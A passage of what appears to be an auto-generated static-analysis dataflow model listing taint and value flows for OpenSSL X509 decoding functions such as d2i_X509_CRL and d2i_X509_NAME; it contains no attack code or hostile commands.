["", "", True, "d2i_X509_CINF", "(X509_CINF **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CINF", "(X509_CINF **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_CINF", "(X509_CINF **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_CINF", "(X509_CINF **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_CINF", "(X509_CINF **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_CINF", "(X509_CINF **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CINF", "(X509_CINF **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CINF", "(X509_CINF **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CINF", "(X509_CINF **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CINF", "(X509_CINF **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CINF", "(X509_CINF **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CINF", "(X509_CINF **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CINF", "(X509_CINF **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CINF", "(X509_CINF **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CINF", "(X509_CINF **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CINF", "(X509_CINF **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CINF", "(X509_CINF **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CRL", "(X509_CRL **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_CRL", "(X509_CRL **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_CRL", "(X509_CRL **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_CRL", "(X509_CRL **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CRL", "(X509_CRL **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CRL", "(X509_CRL **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CRL", "(X509_CRL **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CRL", "(X509_CRL **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CRL", "(X509_CRL **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_CRL", "(X509_CRL **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_CRL", "(X509_CRL **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_CRL", "(X509_CRL **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CRL", "(X509_CRL **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CRL", "(X509_CRL **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CRL", "(X509_CRL **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CRL", "(X509_CRL **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CRL", "(X509_CRL **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_CRL", "(X509_CRL **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_CRL", "(X509_CRL **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_CRL", "(X509_CRL **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_CRL", "(X509_CRL **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CRL", "(X509_CRL **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CRL", "(X509_CRL **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CRL", "(X509_CRL **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CRL", "(X509_CRL **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CRL", "(X509_CRL **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CRL", "(X509_CRL **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CRL", "(X509_CRL **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CRL", "(X509_CRL **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CRL", "(X509_CRL **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CRL", "(X509_CRL **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CRL", "(X509_CRL **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CRL_INFO", "(X509_CRL_INFO **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_CRL_INFO", "(X509_CRL_INFO **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_CRL_INFO", "(X509_CRL_INFO **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_CRL_INFO", "(X509_CRL_INFO **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CRL_INFO", "(X509_CRL_INFO **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CRL_INFO", "(X509_CRL_INFO **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CRL_INFO", "(X509_CRL_INFO **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CRL_INFO", "(X509_CRL_INFO **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CRL_INFO", "(X509_CRL_INFO **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_CRL_INFO", "(X509_CRL_INFO **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_CRL_INFO", "(X509_CRL_INFO **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_CRL_INFO", "(X509_CRL_INFO **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CRL_INFO", "(X509_CRL_INFO **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CRL_INFO", "(X509_CRL_INFO **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CRL_INFO", "(X509_CRL_INFO **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CRL_INFO", "(X509_CRL_INFO **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CRL_INFO", "(X509_CRL_INFO **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_CRL_INFO", "(X509_CRL_INFO **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_CRL_INFO", "(X509_CRL_INFO **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_CRL_INFO", "(X509_CRL_INFO **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_CRL_INFO", "(X509_CRL_INFO **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CRL_INFO", "(X509_CRL_INFO **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CRL_INFO", "(X509_CRL_INFO **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CRL_INFO", "(X509_CRL_INFO **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CRL_INFO", "(X509_CRL_INFO **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CRL_INFO", "(X509_CRL_INFO **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CRL_INFO", "(X509_CRL_INFO **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CRL_INFO", "(X509_CRL_INFO **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CRL_INFO", "(X509_CRL_INFO **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CRL_INFO", "(X509_CRL_INFO **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CRL_INFO", "(X509_CRL_INFO **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CRL_INFO", "(X509_CRL_INFO **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CRL_bio", "(BIO *,X509_CRL **)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_X509_CRL_bio", "(BIO *,X509_CRL **)", "", "Argument[**1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_CRL_bio", "(BIO *,X509_CRL **)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_CRL_bio", "(BIO *,X509_CRL **)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_X509_CRL_bio", "(BIO *,X509_CRL **)", "", "Argument[*1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_CRL_bio", "(BIO *,X509_CRL **)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_CRL_bio", "(BIO *,X509_CRL **)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_X509_CRL_bio", "(BIO *,X509_CRL **)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_X509_CRL_bio", "(BIO *,X509_CRL **)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_CRL_bio", "(BIO *,X509_CRL **)", "", "Argument[1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_CRL_fp", "(FILE *,X509_CRL **)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_X509_CRL_fp", "(FILE *,X509_CRL **)", "", "Argument[**1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_CRL_fp", "(FILE *,X509_CRL **)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_CRL_fp", "(FILE *,X509_CRL **)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_X509_CRL_fp", "(FILE *,X509_CRL **)", "", "Argument[*1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_CRL_fp", "(FILE *,X509_CRL **)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_CRL_fp", "(FILE *,X509_CRL **)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_X509_CRL_fp", "(FILE *,X509_CRL **)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_X509_CRL_fp", "(FILE *,X509_CRL **)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_CRL_fp", "(FILE *,X509_CRL **)", "", "Argument[1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_EXTENSION", "(X509_EXTENSION **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_EXTENSION", "(X509_EXTENSION **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_EXTENSION", "(X509_EXTENSION **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_EXTENSION", "(X509_EXTENSION **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_EXTENSION", "(X509_EXTENSION **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_EXTENSION", "(X509_EXTENSION **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_EXTENSION", "(X509_EXTENSION **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_EXTENSION", "(X509_EXTENSION **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_EXTENSION", "(X509_EXTENSION **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_EXTENSION", "(X509_EXTENSION **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_EXTENSION", "(X509_EXTENSION **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_EXTENSION", "(X509_EXTENSION **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_EXTENSION", "(X509_EXTENSION **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_EXTENSION", "(X509_EXTENSION **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_EXTENSION", "(X509_EXTENSION **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_EXTENSION", "(X509_EXTENSION **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_EXTENSION", "(X509_EXTENSION **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_EXTENSION", "(X509_EXTENSION **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_EXTENSION", "(X509_EXTENSION **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_EXTENSION", "(X509_EXTENSION **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_EXTENSION", "(X509_EXTENSION **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_EXTENSION", "(X509_EXTENSION **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_EXTENSION", "(X509_EXTENSION **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_EXTENSION", "(X509_EXTENSION **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_EXTENSION", "(X509_EXTENSION **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_EXTENSION", "(X509_EXTENSION **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_EXTENSION", "(X509_EXTENSION **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_EXTENSION", "(X509_EXTENSION **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_EXTENSION", "(X509_EXTENSION **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_EXTENSION", "(X509_EXTENSION **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_EXTENSION", "(X509_EXTENSION **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_EXTENSION", "(X509_EXTENSION **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_EXTENSIONS", "(X509_EXTENSIONS **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_EXTENSIONS", "(X509_EXTENSIONS **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_EXTENSIONS", "(X509_EXTENSIONS **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_EXTENSIONS", "(X509_EXTENSIONS **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_EXTENSIONS", "(X509_EXTENSIONS **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_EXTENSIONS", "(X509_EXTENSIONS **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_EXTENSIONS", "(X509_EXTENSIONS **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_EXTENSIONS", "(X509_EXTENSIONS **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_EXTENSIONS", "(X509_EXTENSIONS **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_EXTENSIONS", "(X509_EXTENSIONS **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_EXTENSIONS", "(X509_EXTENSIONS **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_EXTENSIONS", "(X509_EXTENSIONS **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_EXTENSIONS", "(X509_EXTENSIONS **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_EXTENSIONS", "(X509_EXTENSIONS **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_EXTENSIONS", "(X509_EXTENSIONS **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_EXTENSIONS", "(X509_EXTENSIONS **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_EXTENSIONS", "(X509_EXTENSIONS **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_EXTENSIONS", "(X509_EXTENSIONS **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_EXTENSIONS", "(X509_EXTENSIONS **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_EXTENSIONS", "(X509_EXTENSIONS **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_EXTENSIONS", "(X509_EXTENSIONS **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_EXTENSIONS", "(X509_EXTENSIONS **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_EXTENSIONS", "(X509_EXTENSIONS **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_EXTENSIONS", "(X509_EXTENSIONS **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_EXTENSIONS", "(X509_EXTENSIONS **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_EXTENSIONS", "(X509_EXTENSIONS **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_EXTENSIONS", "(X509_EXTENSIONS **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_EXTENSIONS", "(X509_EXTENSIONS **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_EXTENSIONS", "(X509_EXTENSIONS **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_EXTENSIONS", "(X509_EXTENSIONS **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_EXTENSIONS", "(X509_EXTENSIONS **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_EXTENSIONS", "(X509_EXTENSIONS **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_NAME", "(X509_NAME **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_NAME", "(X509_NAME **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_NAME", "(X509_NAME **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_NAME", "(X509_NAME **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_NAME", "(X509_NAME **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_NAME", "(X509_NAME **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_NAME", "(X509_NAME **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_NAME", "(X509_NAME **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_NAME", "(X509_NAME **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_NAME", "(X509_NAME **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_NAME", "(X509_NAME **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_NAME", "(X509_NAME **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_NAME", "(X509_NAME **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_NAME", "(X509_NAME **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_NAME", "(X509_NAME **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_NAME", "(X509_NAME **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_NAME", "(X509_NAME **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_NAME", "(X509_NAME **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_NAME", "(X509_NAME **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_NAME", "(X509_NAME **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_NAME", "(X509_NAME **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_NAME", "(X509_NAME **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_NAME", "(X509_NAME **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_NAME", "(X509_NAME **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_NAME", "(X509_NAME **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_NAME", "(X509_NAME **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_NAME", "(X509_NAME **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_NAME", "(X509_NAME **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_NAME", "(X509_NAME **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_NAME", "(X509_NAME **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_NAME", "(X509_NAME **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_NAME", "(X509_NAME **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, 